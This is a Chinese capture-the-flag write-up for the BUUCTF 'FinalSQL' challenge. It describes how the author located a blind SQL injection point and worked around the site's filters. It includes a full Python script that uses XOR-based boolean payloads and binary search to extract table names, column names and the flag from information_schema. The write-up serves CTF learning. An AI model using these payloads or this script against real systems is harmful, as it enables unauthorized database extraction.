[BUUCTF题解][极客大挑战 2019]FinalSQL 1
[2021-04-24 09:07:53 对盲注代码的二分法部分进行了修改,替换了原来又臭又长的代码]
看见题名就知道是SQL注入了,但是叫FinalSQL估计不太好整,打开页面。

既然说选择神秘代码即可获得flag那就把1到5挨个点了边(虽然没指望flag真藏那里面但是先按照出题人想法来,看能不能找到些提示省些自己摸索的时间(实际上提示博主笨比一个都没察觉))。
(后知后觉这里首页面其实提示了要SQL盲注)
点击1到5号的结果。


(!!!要素察觉)

(拉到页面底端,emmmmmmmmm)



这里直接令传入的id=6

这里出现了第二个提示,flag字段和这些语句没被储存在同一个表,博主笨比理解为注入点是首页那个登录框。

实际上这个地方过滤的非常细致,博主知识范围之内的所有手段都会被检测到,后来手工测试实在没辙折回去测试传入参数id的页面,这才发现注入点实际上是那儿……
和[CISCN2019 华北赛区 Day2 Web1]Hack World 1一样采用同种方式,只是这个题flag所在的表名和列名都得自己注入出来。

逻辑符号|会被检测到,而&感觉成了注释符,&之后的内容都被替换掉了。


现在就到了写脚本时间(information_schema这个库名没有设置检测可以直接从里面查各种数据)。
(虽然叫脚本但是写得特别捞,花了一整个下午来写,一开始还打算写出一个简单修改就能通用的盲注半自动脚本,然后发现代码量飞增,BUG不断,最后就出了这个不堪入目的脚本)
import requests as res
import time
import sys
def check1(url,string,num,i,moudle):#这里method中的"填入目标表名","填入目标列名"都得找到目标后手动替换汉字部分
method=[
"1^(SELECT(ASCII(SUBSTR(((select(group_concat(table_name))from(information_schema.tables)where(table_schema=DATABASE()))),%d,1))%s%d))^1"%(i,string,num),
"1^(SELECT(ASCII(SUBSTR((select(group_concat(COLUMN_NAME))from(information_schema.columns)where(table_name='填入目标表名')),%d,1))%s%d))^1"%(i,string,num),
"1^(SELECT(ASCII(SUBSTR(((select(group_concat(填入目标列名))from(填入目标表名))),%d,1))%s%d))^1"%(i,string,num)
]
url=url+method[moudle]
response=res.get(url)
while(response.status_code!=200):
time.sleep(0.5)
response=res.get(url)
bak=response.text
#在这里修改用来区分查询语句真假的关键词,(如只有查询为真时页面才会出现hello,那关键词就是hello)
if bak.find("Click",0)!=-1:
return True;
else:
return False;
def check2(url):
response=res.get(url)
while(response.status_code!=200):
time.sleep(0.5)
response=res.get(url)
bak=response.text
#在这里修改用来区分查询语句真假的关键词,(如只有查询为真时页面才会出现hello,那关键词就是hello)
if bak.find("Click",0)!=-1:
return True
else:
return False
def getstr(url,length,num):
result=""
for i in range(1,length+1):
#这里prv和last表示的是ASCII中的可见字符的范围(最低的32到最高的126)
prv=32
last=126
print("Now test %d / %d"%(i,length))
while(prv<=last):
middle=(prv+last)//2
if(check1(url,"=",middle,i,num)):
result=result+chr(middle)
print("its %c %d"%(chr(middle),prv))
break
elif(check1(url,">",middle,i,num)):
prv=middle+1
else:
last=middle-1
print(result)
def getlen(url):
#这里prv和last表示的是查询字段的长度范围,从0到2500(如果觉得范围太大也可以改小些)
prv=0
last=2500
while(prv<=last):
middle=(prv+last)//2
if(check2(url%("=",middle))):
return middle
break
elif(check2(url%(">",middle))):
prv=middle+1
else:
last=middle-1
def length(url,num):#这里method中的"填入目标表名","填入目标列名"都得找到目标后手动替换掉汉字部分
method=[
"1^(SELECT(LENGTH(((select(group_concat(table_name))from(information_schema.tables)where(table_schema=DATABASE()))))%s%d))^1",
"1^(SELECT(LENGTH(((select(group_concat(column_name))from(information_schema.columns)where(table_name='填入目标表名'))))%s%d))^1",
"1^(SELECT(LENGTH((select(group_concat(填入目标列名))from(填入目标表名)))%s%d))^1"
]
url=url+method[num]
return getlen(url)#这里脚本实际上写成了一查一停,要手动设置查哪些部分,在查哪个部分的时候停下……(写得好不像脚本a)
if __name__=="__main__":
#在这里换URL,URL需要带上传参部分?id=
url="http://be8dfe5e-337a-460b-b9fc-47681dabdf88.node3.buuoj.cn/search.php?id="
#下列函数length用来查询目标字段的长度,返回值是目标字段的长度,如果获知了长度(或者想查询部分内容)可以直接替换即可
#getstr用来查询目标字段,没有返回值,会将查询结果打印出来(但是只有在字段全部查询完毕后才会输出完成的字段)
#查当前所有表名,已经查询了请改成False
if True:
len1=length(url,0)
getstr(url,len1,0)
if True:
sys.exit("如果找到了所需查的表名请把条件改为False")
#查表中的列名,已经查询了请改成False
if True:
len2=length(url,1)
getstr(url,len2,1)
if True:
sys.exit("如果找到了所需查的列名请把条件改为False")
#查具体数据
if True:
len3=length(url,2)
getstr(url,len3,2)
以下是注入的结果。
(当前数据库下的表)

(flag在Flnally表中,Flaaaag表中反而存放的是传入参数id为1-6时显示的那些语句,这里是Flnally表下的列)

(flag在password列中)


浙公网安备 33010602011771号